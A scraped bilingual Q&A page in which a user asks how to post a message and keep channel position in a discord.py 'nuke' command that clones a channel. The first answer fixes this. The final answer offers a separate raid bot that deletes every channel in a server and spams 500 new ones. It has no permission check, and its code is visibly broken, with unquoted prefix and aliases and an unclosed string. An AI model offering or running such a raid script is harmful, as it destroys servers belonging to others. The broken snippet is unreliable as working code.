[英]Nuke command in discord.py
I've made a nuke command in my discord bot, but I have 2 problems with it.我在我的 discord bot 中做了一个 nuke 命令,但我有两个问题。 First is how can i send a message to just created channel, and second is how can I make channel in same position as "original".首先是我如何向刚刚创建的频道发送消息,其次是我如何使频道与“原始”处于相同的位置。
Here's my code:这是我的代码:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
await ctx.channel.clone(reason="nuke")
await ctx.send(embed=embed)
You can store the cloned channel in a variable:您可以将克隆的频道存储在变量中:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
channel = await ctx.channel.clone(reason="nuke")
await channel.send(embed=embed)
The channel should be created in the same position as the original one, if not:如果不是,则应在与原始频道相同的位置创建频道:
pos = ctx.channel.position
await ctx.channel.delete()
channel = await ctx.channel.clone()
await channel.edit(position=pos)
Here a nuke command I made这是我做的一个核弹命令
from discord.ext import commands
client = commands.Bot(command_prefix=$)
token = "nuke bot token"
@client.command(aliases=[destroy, wizz])
async def nuke(ctx):
await ctx.send("LOL THIS SHIT IS GETTING NUKED)
for channel in ctx.guild.channels:
await channel.delete()
print(f"Deleted {ctx.guild.channel}")
for i in range(500):
guild = ctx.message.guild
await guild.create_text_channel("nuked")
client.run(token, bot=True)
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.